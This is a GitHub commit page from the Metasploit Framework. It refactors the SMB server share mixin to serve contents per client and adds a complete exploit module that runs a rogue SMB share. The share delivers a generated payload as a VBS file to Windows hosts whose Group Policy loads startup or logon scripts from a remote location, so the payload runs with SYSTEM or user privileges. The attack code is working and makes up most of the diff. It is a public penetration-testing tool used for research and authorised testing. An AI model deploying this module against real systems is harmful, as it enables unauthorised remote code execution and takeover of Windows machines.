Skip to content

Commit 97807e0

Browse files
committed
Lad rapid7#5125, Group Policy startup exploit
2 parents 0c18775 + 5b57e4e commit 97807e0

File tree

6 files changed

+128
-12
lines changed

6 files changed

+128
-12
lines changed

lib/msf/core/exploit/smb/server/share.rb

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -233,6 +233,18 @@ def unc
233233
path
234234
end
235235

236+
# Returns the file contents for the requested file
237+
#
238+
# @param file [String] the requested file
239+
# @param folder [String] the requested folder
240+
# @return [String] The file contents.
241+
# @note This method will be useful when multiple files are supported. At the
242+
# moment is used to be overriden by modules. So they can customize the file
243+
# contents.
244+
def get_file_contents(client:, file: '', folder: '')
245+
file_contents
246+
end
247+
236248
# Builds the server address.
237249
#
238250
# @return [String] The server address.

lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,20 +17,29 @@ def smb_cmd_nt_create_andx(c, buff)
1717
pkt = CONST::SMB_CREATE_PKT.make_struct
1818
pkt.from_s(buff)
1919

20-
payload = (pkt['Payload'].v['Payload']).downcase
21-
payload.gsub!(/^[\x00]*/, '') # delete padding
22-
payload = Rex::Text.ascii_safe_hex(payload)
23-
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
20+
payload = pkt['Payload'].v['Payload'].downcase
21+
22+
if pkt['Payload']['SMB'].v['Flags2'] & CONST::FLAGS2_UNICODE_STRINGS == CONST::FLAGS2_UNICODE_STRINGS
23+
# If path length is odd first character is alignment
24+
if payload.length.odd?
25+
payload = payload[1..-1]
26+
end
27+
payload = Rex::Text.to_ascii(payload)
28+
end
29+
30+
payload.gsub!(/[\x00]*/, '') # delete nulls
2431

2532
if payload.nil? || payload.empty?
2633
payload = file_name
2734
end
2835

36+
contents = get_file_contents(client: c)
37+
2938
if payload.ends_with?(file_name.downcase)
3039
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
3140
fid = smb[:file_id].to_i
3241
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
33-
eof = file_contents.length
42+
eof = contents.length
3443
is_dir = 0
3544
elsif folder_name && payload.ends_with?(folder_name.downcase)
3645
fid = smb[:dir_id].to_i

lib/msf/core/exploit/smb/server/share/command/read_andx.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,12 @@ def smb_cmd_read_andx(c, buff)
1919
offset = pkt['Payload'].v['Offset']
2020
length = pkt['Payload'].v['MaxCountLow']
2121

22+
contents = get_file_contents(client: c)
23+
2224
send_read_andx_res(c, {
2325
data_len_low: length,
2426
byte_count: length,
25-
data: file_contents[offset, length]
27+
data: contents[offset, length]
2628
})
2729
end
2830

lib/msf/core/exploit/smb/server/share/information_level/find.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -13,10 +13,11 @@ module Find
1313
# @param path [String] The path which the client is requesting info from.
1414
# @return [Fixnum] The number of bytes returned to the client as response.
1515
def smb_cmd_find_file_both_directory_info(c, path)
16+
contents = get_file_contents(client: c)
1617

1718
if path && path.include?(file_name.downcase)
1819
data = Rex::Text.to_unicode(file_name)
19-
length = file_contents.length
20+
length = contents.length
2021
ea = 0
2122
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
2223
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
@@ -57,7 +58,7 @@ def smb_cmd_find_file_both_directory_info(c, path)
5758
# @param path [String] The path which the client is requesting info from.
5859
# @return [Fixnum] The number of bytes returned to the client as response.
5960
def smb_cmd_find_file_names_info(c, path)
60-
if path && path.include?(file_name.downcase)
61+
if path && path.ends_with?(file_name.downcase)
6162
data = Rex::Text.to_unicode(file_name)
6263
elsif path && folder_name && path.ends_with?(folder_name.downcase)
6364
data = Rex::Text.to_unicode(path)
@@ -77,10 +78,11 @@ def smb_cmd_find_file_names_info(c, path)
7778
# @param path [String] The path which the client is requesting info from.
7879
# @return [Fixnum] The number of bytes returned to the client as response.
7980
def smb_cmd_find_file_full_directory_info(c, path)
81+
contents = get_file_contents(client: c)
8082

8183
if path && path.include?(file_name.downcase)
8284
data = Rex::Text.to_unicode(file_name)
83-
length = file_contents.length
85+
length = contents.length
8486
ea = 0
8587
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
8688
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File

lib/msf/core/exploit/smb/server/share/information_level/query.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,14 @@ def smb_cmd_trans_query_file_info_basic(c, fid)
3333
# @param fid [Fixnum] The file identifier which the client is requesting info from.
3434
# @return [Fixnum] The number of bytes returned to the client as response.
3535
def smb_cmd_trans_query_file_info_standard(c, fid)
36+
contents = get_file_contents(client: c)
37+
3638
send_info_standard_res(c, {
3739
allocation_size: 1048576,
3840
number_links: 1,
3941
delete_pending: 0,
4042
directory: 0,
41-
end_of_file: file_contents.length
43+
end_of_file: contents.length
4244
})
4345
end
4446

@@ -69,6 +71,8 @@ def smb_cmd_trans_query_path_info_basic(c, path)
6971
# @param path [String] The path which the client is requesting info from.
7072
# @return [Fixnum] The number of bytes returned to the client as response.
7173
def smb_cmd_trans_query_path_info_standard(c, path)
74+
contents = get_file_contents(client: c)
75+
7276
if path && path.include?(file_name.downcase)
7377
attrib = 0 # File attributes => file
7478
elsif path && folder_name && path.ends_with?(folder_name.downcase)
@@ -84,7 +88,7 @@ def smb_cmd_trans_query_path_info_standard(c, path)
8488
number_links: 1,
8589
delete_pending: 0,
8690
directory: attrib,
87-
end_of_file: file_contents.length
91+
end_of_file: contents.length
8892
})
8993
end
9094

@@ -95,6 +99,7 @@ def smb_cmd_trans_query_path_info_standard(c, path)
9599
# @param path [String] The path which the client is requesting info from.
96100
# @return [Fixnum] The number of bytes returned to the client as response.
97101
def smb_cmd_trans_query_path_info_network(c, path)
102+
contents = get_file_contents(client: c)
98103

99104
if path && path.include?(file_name.downcase)
100105
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
@@ -108,7 +113,7 @@ def smb_cmd_trans_query_path_info_network(c, path)
108113

109114
send_info_network_res(c, {
110115
allocation_size: 1048576,
111-
end_of_file: file_contents.length,
116+
end_of_file: contents.length,
112117
file_attributes: attrib
113118
})
114119
end
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ManualRanking
10+
11+
include Msf::Exploit::Remote::SMB::Server::Share
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Group Policy Script Execution From Shared Resource',
16+
'Description' => %q{
17+
This is a general-purpose module for exploiting systems with Windows Group Policy
18+
configured to load VBS startup/logon scripts from remote locations. This module runs
19+
a SMB shared resource that will provide a payload through a VBS file. Startup scripts
20+
will be executed with SYSTEM privileges, while logon scripts will be executed with the
21+
user privileges. Have into account which the attacker still needs to redirect the
22+
target traffic to the fake SMB share to exploit it successfully. Please note in some
23+
cases, it will take 5 to 10 minutes to receive a session.
24+
},
25+
'Author' =>
26+
[
27+
'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba
28+
'juan vazquez' # msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],
33+
['URL', 'https://github.com/GDSSecurity/BadSamba']
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'EXITFUNC' => 'thread',
38+
},
39+
'Privileged' => false,
40+
'Platform' => 'win',
41+
'Arch' => [ARCH_X86, ARCH_X86_64],
42+
'Payload' =>
43+
{
44+
'Space' => 2048,
45+
'DisableNops' => true
46+
},
47+
'Targets' =>
48+
[
49+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
50+
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
51+
],
52+
'DefaultTarget' => 0,
53+
'DisclosureDate' => 'Jan 26 2015'
54+
))
55+
56+
register_options(
57+
[
58+
OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])
59+
], self.class)
60+
61+
deregister_options('FILE_CONTENTS')
62+
end
63+
64+
def setup
65+
super
66+
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"
67+
@custom_payloads = {}
68+
print_status("File available on #{unc}...")
69+
end
70+
71+
def on_client_connect(client)
72+
super(client)
73+
74+
unless @custom_payloads[:client]
75+
p = regenerate_payload(client)
76+
exe = p.encoded_exe
77+
@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)
78+
end
79+
end
80+
81+
def get_file_contents(client:)
82+
contents = @custom_payloads[client] || super(client: client)
83+
84+
contents
85+
end
86+
end

0 commit comments

Comments
 (0)